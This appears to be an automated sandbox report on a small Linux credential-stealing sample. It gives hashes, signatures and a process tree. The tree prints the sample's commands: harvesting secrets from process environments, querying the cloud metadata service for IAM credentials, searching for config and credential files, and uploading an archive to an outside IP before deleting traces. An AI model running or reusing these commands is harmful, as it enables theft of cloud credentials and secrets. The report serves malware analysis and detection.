3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699

Analysis

max time kernel
35s
max time network
37s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/10/2026, 00:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
Size 5KB
Sample261027-aa7wjsxt5r
SHA256 3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
MD5 597b694b02913a657e408c2c9167e67f
SHA1 40b3d73219fd165837785634dccd67dda172b755
SHA512 0e488bfe46dcb8ac047dd14d76a8cc297a7aead37661a3336567035d4be835ed004edeae8abd534690fd379e39dd658444a692d890de8d219631fdde096cfc1a
SSDEEP 48:SfR4u8wP3FQvymZI/EXbCVuuY3/T/g/poQDwCPQ8cuc1NeQDMIMFRULA/tOSemQ2:sR5P1Bx7YMNcXNeQyFuLAjfQdDcoln+
TLSH
T126C185E9FCBC8871398E487EF54D6B101CC34A2F1DA22A4470A75C89FB2C52DF526B21
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
1050	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/724/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/6/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/109/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/20/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/713/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/667/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/711/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/36/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/362/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/75/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/14/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/74/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/157/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/703/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/364/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/72/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/82/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/3/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/2/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/333/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/329/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/366/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/19/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/37/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/676/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/7/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/10/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/16/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/378/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/383/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/701/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/76/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/12/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/123/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1049	tar
1050	sh
1051	gzip
1055	rm

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.aw714/summary.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw714/env.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw714/procenv.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw714/imds_role.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw714/files.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw_debian9-mipsbe-20260513-en-4.tgz	tar

/tmp/3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
/tmp/3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
1⤵
- Reads runtime system information
- Writes file to tmp directory
PID:714
- /bin/hostname
  hostname
  2⤵
  PID:716
- /bin/mkdir
  mkdir -p /tmp/.aw714
  2⤵
  PID:718
- /bin/date
  date -u
  2⤵
  PID:720
- /usr/bin/id
  id
  2⤵
  PID:722
- /usr/bin/env
  env
  2⤵
  PID:729
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:732
- /bin/sed
  sed "s|^|/proc/1/environ: |"
  2⤵
  PID:733
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:731
- /bin/sed
  sed "s|^|/proc/10/environ: |"
  2⤵
  - Reads runtime system information
  PID:738
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:737
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:736
- /bin/sed
  sed "s|^|/proc/109/environ: |"
  2⤵
  - Reads runtime system information
  PID:743
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:742
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:741
- /bin/sed
  sed "s|^|/proc/11/environ: |"
  2⤵
  PID:747
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:746
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:745
- /bin/sed
  sed "s|^|/proc/12/environ: |"
  2⤵
  - Reads runtime system information
  PID:750
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:749
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:748
- /bin/sed
  sed "s|^|/proc/122/environ: |"
  2⤵
  PID:754
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:753
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:752
- /bin/sed
  sed "s|^|/proc/123/environ: |"
  2⤵
  - Reads runtime system information
  PID:758
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:757
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:756
- /bin/sed
  sed "s|^|/proc/13/environ: |"
  2⤵
  - Reads runtime system information
  PID:761
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:760
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:759
- /bin/sed
  sed "s|^|/proc/14/environ: |"
  2⤵
  PID:764
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:763
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:762
- /bin/sed
  sed "s|^|/proc/15/environ: |"
  2⤵
  - Reads runtime system information
  PID:768
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:767
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:766
- /bin/sed
  sed "s|^|/proc/150/environ: |"
  2⤵
  PID:773
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:772
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:771
- /bin/sed
  sed "s|^|/proc/157/environ: |"
  2⤵
  - Reads runtime system information
  PID:776
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:775
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:774
- /bin/sed
  sed "s|^|/proc/16/environ: |"
  2⤵
  PID:779
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:778
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:777
- /bin/sed
  sed "s|^|/proc/17/environ: |"
  2⤵
  PID:783
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:782
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:781
- /bin/sed
  sed "s|^|/proc/175/environ: |"
  2⤵
  - Reads runtime system information
  PID:786
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:785
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:784
- /bin/sed
  sed "s|^|/proc/176/environ: |"
  2⤵
  PID:789
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:788
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:787
- /bin/sed
  sed "s|^|/proc/18/environ: |"
  2⤵
  PID:792
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:791
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:790
- /bin/sed
  sed "s|^|/proc/19/environ: |"
  2⤵
  - Reads runtime system information
  PID:796
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:795
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:794
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:798
- /bin/sed
  sed "s|^|/proc/2/environ: |"
  2⤵
  - Reads runtime system information
  PID:799
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:797
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:801
- /bin/sed
  sed "s|^|/proc/20/environ: |"
  2⤵
  PID:802
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:800
- /bin/sed
  sed "s|^|/proc/21/environ: |"
  2⤵
  PID:805
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:804
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:803
- /bin/sed
  sed "s|^|/proc/22/environ: |"
  2⤵
  - Reads runtime system information
  PID:808
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:807
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:806
- /bin/sed
  sed "s|^|/proc/23/environ: |"
  2⤵
  - Reads runtime system information
  PID:811
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:810
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:809
- /bin/sed
  sed "s|^|/proc/24/environ: |"
  2⤵
  - Reads runtime system information
  PID:814
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:813
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:812
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:816
- /bin/sed
  sed "s|^|/proc/243/environ: |"
  2⤵
  - Reads runtime system information
  PID:817
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:815
- /bin/sed
  sed "s|^|/proc/3/environ: |"
  2⤵
  - Reads runtime system information
  PID:820
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:819
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:818
- /bin/sed
  sed "s|^|/proc/329/environ: |"
  2⤵
  PID:823
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:822
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:821
- /bin/sed
  sed "s|^|/proc/333/environ: |"
  2⤵
  PID:826
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:825
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:824
- /bin/sed
  sed "s|^|/proc/36/environ: |"
  2⤵
  PID:829
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:828
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:827
- /bin/sed
  sed "s|^|/proc/362/environ: |"
  2⤵
  PID:832
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:831
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:830
- /bin/sed
  sed "s|^|/proc/364/environ: |"
  2⤵
  - Reads runtime system information
  PID:835
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:834
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:833
- /bin/sed
  sed "s|^|/proc/366/environ: |"
  2⤵
  PID:838
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:837
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:836
- /bin/sed
  sed "s|^|/proc/37/environ: |"
  2⤵
  PID:841
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:840
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:839
- /bin/sed
  sed "s|^|/proc/378/environ: |"
  2⤵
  PID:844
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:843
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:842
- /bin/sed
  sed "s|^|/proc/380/environ: |"
  2⤵
  PID:847
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:846
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:845
- /bin/sed
  sed "s|^|/proc/383/environ: |"
  2⤵
  - Reads runtime system information
  PID:850
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:849
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:848
- /bin/sed
  sed "s|^|/proc/4/environ: |"
  2⤵
  PID:853
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:852
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:851
- /bin/sed
  sed "s|^|/proc/428/environ: |"
  2⤵
  PID:856
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:855
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:854
- /bin/sed
  sed "s|^|/proc/5/environ: |"
  2⤵
  PID:859
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:858
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:857
- /bin/sed
  sed "s|^|/proc/6/environ: |"
  2⤵
  PID:862
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:861
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:860
- /bin/sed
  sed "s|^|/proc/667/environ: |"
  2⤵
  PID:865
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:864
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:863
- /bin/sed
  sed "s|^|/proc/670/environ: |"
  2⤵
  PID:868
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:867
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:866
- /bin/sed
  sed "s|^|/proc/671/environ: |"
  2⤵
  PID:871
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:870
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:869
- /bin/sed
  sed "s|^|/proc/676/environ: |"
  2⤵
  PID:874
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:873
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:872
- /bin/sed
  sed "s|^|/proc/677/environ: |"
  2⤵
  PID:877
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:876
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:875
- /bin/sed
  sed "s|^|/proc/68/environ: |"
  2⤵
  PID:880
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:879
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:878
- /bin/sed
  sed "s|^|/proc/69/environ: |"
  2⤵
  - Reads runtime system information
  PID:883
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:882
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:881
- /bin/sed
  sed "s|^|/proc/7/environ: |"
  2⤵
  PID:886
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:885
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:884
- /bin/sed
  sed "s|^|/proc/701/environ: |"
  2⤵
  - Reads runtime system information
  PID:889
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:888
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:887
- /bin/sed
  sed "s|^|/proc/703/environ: |"
  2⤵
  - Reads runtime system information
  PID:892
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:890
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:891
- /bin/sed
  sed "s|^|/proc/708/environ: |"
  2⤵
  PID:895
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:894
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:893
- /bin/sed
  sed "s|^|/proc/710/environ: |"
  2⤵
  PID:898
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:897
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:896
- /bin/sed
  sed "s|^|/proc/711/environ: |"
  2⤵
  PID:901
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:900
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:899
- /bin/sed
  sed "s|^|/proc/713/environ: |"
  2⤵
  PID:904
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:903
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:902
- /bin/sed
  sed "s|^|/proc/714/environ: |"
  2⤵
  - Reads runtime system information
  PID:907
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:906
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:905
- /bin/sed
  sed "s|^|/proc/719/environ: |"
  2⤵
  - Reads runtime system information
  PID:910
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:909
- /bin/sed
  sed "s|^|/proc/72/environ: |"
  2⤵
  - Reads runtime system information
  PID:913
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:912
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:911
- /bin/sed
  sed "s|^|/proc/724/environ: |"
  2⤵
  PID:916
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:915
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:914
- /bin/sed
  sed "s|^|/proc/73/environ: |"
  2⤵
  - Reads runtime system information
  PID:919
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:918
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:917
- /bin/sed
  sed "s|^|/proc/730/environ: |"
  2⤵
  - Reads runtime system information
  PID:922
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:921
- /bin/sed
  sed "s|^|/proc/74/environ: |"
  2⤵
  PID:925
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:924
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:923
- /bin/sed
  sed "s|^|/proc/75/environ: |"
  2⤵
  - Reads runtime system information
  PID:928
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:927
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:926
- /bin/sed
  sed "s|^|/proc/76/environ: |"
  2⤵
  - Reads runtime system information
  PID:931
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:930
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:929
- /bin/sed
  sed "s|^|/proc/77/environ: |"
  2⤵
  PID:934
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:933
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:932
- /bin/sed
  sed "s|^|/proc/79/environ: |"
  2⤵
  PID:937
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:936
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:935
- /bin/sed
  sed "s|^|/proc/8/environ: |"
  2⤵
  PID:940
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:939
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:938
- /bin/sed
  sed "s|^|/proc/81/environ: |"
  2⤵
  - Reads runtime system information
  PID:943
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:942
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:941
- /bin/sed
  sed "s|^|/proc/82/environ: |"
  2⤵
  PID:946
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:945
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:944
- /bin/sed
  sed "s|^|/proc/9/environ: |"
  2⤵
  PID:949
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:948
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:947
- /usr/bin/curl
  curl -s -m 4 http://169.254.169.254/latest/meta-data/iam/security-credentials/
  2⤵
  PID:950
- /usr/bin/tr
  tr -d "\\r"
  2⤵
  PID:996
- /usr/bin/head
  head -1 /tmp/.aw714/imds_role.txt
  2⤵
  PID:995
- /usr/bin/tr
  tr -d "\\r"
  2⤵
  PID:1000
- /usr/bin/curl
  curl -s -m 4 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" http://169.254.169.254/latest/api/token
  2⤵
  PID:999
- /bin/grep
  grep -a AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
  2⤵
  PID:1004
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1003
- /usr/bin/cut
  cut "-d=" -f2
  2⤵
  PID:1005
- /bin/grep
  grep -a AWS_CONTAINER_CREDENTIALS_FULL_URI
  2⤵
  PID:1008
- /usr/bin/cut
  cut "-d=" -f2
  2⤵
  PID:1009
- /usr/bin/env
  env
  2⤵
  PID:1007
- /usr/bin/head
  head -300
  2⤵
  PID:1011
- /usr/bin/find
  find / -maxdepth 6 "(" -name .env -o -name "*.env" -o -name "docker-compose*.yml" -o -name "docker-compose*.yaml" -o -name "*.tfstate" -o -name credentials.xml -o -name application.yml -o -name application.properties -o -name .s3cfg -o -name "aws-config*" ")" -type f -size -3M
  2⤵
  - Reads runtime system information
  PID:1010
- /bin/tar
  tar czf /tmp/.aw_debian9-mipsbe-20260513-en-4.tgz -C /tmp .aw714
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1049
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:1050
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:1051
- /usr/bin/wc
  wc -c
  2⤵
  PID:1052
- /usr/bin/curl
  curl -s -m 25 --data-binary "@/tmp/.aw_debian9-mipsbe-20260513-en-4.tgz" "http://185.106.98.235/upload?h=debian9-mipsbe-20260513-en-4"
  2⤵
  PID:1053
- /bin/grep
  grep -q EXFIL_OK /tmp/.aw714/summary.txt
  2⤵
  PID:1054
- /bin/rm
  rm -f /tmp/.aw_debian9-mipsbe-20260513-en-4.tgz
  2⤵
  - System Network Configuration Discovery
  PID:1055
- /bin/rm
  rm -rf /tmp/.aw714
  2⤵
  PID:1056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

env.txt

